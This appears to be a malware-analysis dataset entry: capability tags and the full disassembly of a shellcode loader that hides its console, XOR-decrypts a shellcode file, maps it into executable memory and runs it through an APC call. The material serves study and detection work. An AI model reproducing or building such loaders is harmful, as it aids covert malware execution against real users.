Function at 0x401230
Capabilities:
Allocate or change rwx memory
Encode data using xor
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403928
mov eax, dword fs:[0]
push eax
sub esp, 0xdc
mov eax, dword [0x407040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xb8
lea eax, [ebp - 0xe0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push ecx
lea ecx, [ebp - 0xe0]
call fcn.00402140
mov dword [ebp - 4], 0
cmp dword [ebp - 0x84], 0
jne 0x4012c2
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_open_encrypted_shellcode.bin
push 0x402890
call fcn.00402670
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, 1
jmp 0x4014fe
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
mov ecx, dword [eax + 8]
add ecx, dword [eax]
mov dword [ebp - 0xe4], ecx
mov ecx, dword [eax + 0xc]
adc ecx, dword [eax + 4]
mov dword [ebp - 0xe8], ecx
lea ecx, [ebp - 0xe0]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
xor eax, eax
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xe4]
xor esi, esi
xor edi, edi
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], edi
test eax, eax
je 0x40138d
cmp eax, 0x7fffffff
ja 0x401526
cmp eax, 0x1000
jb 0x40135c
lea ecx, [eax + 0x23]
cmp ecx, eax
jbe 0x40152b
push ecx
call fcn.00402bbc
add esp, 4
test eax, eax
je 0x4014ee
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x401367
push eax
call fcn.00402bbc
add esp, 4
mov esi, eax
mov ecx, dword [ebp - 0xe4]
push ecx
push 0
push esi
lea edi, [esi + ecx]
mov dword [ebp - 0x1c], esi
mov eax, edi
mov dword [ebp - 0x14], eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp - 0xe4]
add esp, 0xc
mov dword [ebp - 0x18], edi
push dword [ebp - 0xe8]
lea ecx, [ebp - 0xe0]
mov byte [ebp - 4], 1
push eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
mov edx, eax
mov eax, dword [edx]
mov ecx, dword [eax + 4]
add ecx, edx
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
test al, al
je 0x4013c2
mov edx, str.Failed_to_read_encrypted_shellcode
jmp 0x40146e
lea ecx, [ebp - 0xd0]
call fcn.00402520
test eax, eax
jne 0x4013e9
push eax
mov eax, dword [ebp - 0xe0]
lea ecx, [ebp - 0xe0]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
movaps xmm2, xmmword [0x4043a0]
mov eax, 0
sub edi, esi
je 0x40144f
cmp edi, 0x40
jb 0x401446
mov edx, edi
lea ecx, [esi + 0x20]
and edx, 0xffffffc0
movups xmm0, xmmword [ecx - 0x20]
lea ecx, [ecx + 0x40]
add eax, 0x40
movaps xmm1, xmm2
xorps xmm0, xmm2
movups xmmword [ecx - 0x60], xmm0
movups xmm0, xmmword [ecx - 0x50]
xorps xmm1, xmm0
movups xmmword [ecx - 0x50], xmm1
movaps xmm1, xmm2
movups xmm0, xmmword [ecx - 0x40]
xorps xmm1, xmm0
movups xmmword [ecx - 0x40], xmm1
movups xmm0, xmmword [ecx - 0x30]
xorps xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
cmp eax, edx
jb 0x401406
cmp eax, edi
jae 0x40144f
xor byte [eax + esi], 0xaa
inc eax
cmp eax, edi
jb 0x401446
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xe8], eax
test eax, eax
jne 0x40148d
mov edx, str.VirtualAlloc_failed
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push 0x402890
call fcn.00402670
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, 1
jmp 0x4014cb
push edi
push esi
push eax
call sub.VCRUNTIME140.dll_memcpy
mov edi, dword [ebp - 0xe8]
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
push 0x401220
call dword [sym.imp.KERNEL32.dll_QueueUserAPC]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
test esi, esi
je 0x4014fe
mov ecx, dword [ebp - 0x14]
mov eax, esi
sub ecx, esi
cmp ecx, 0x1000
jb 0x4014f4
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4014f4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.00402bec
add esp, 8
lea ecx, [ebp - 0xe0]
call fcn.00401540
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402bae
mov esp, ebp
pop ebp
ret
call fcn.00402b10
call fcn.004010d0
int3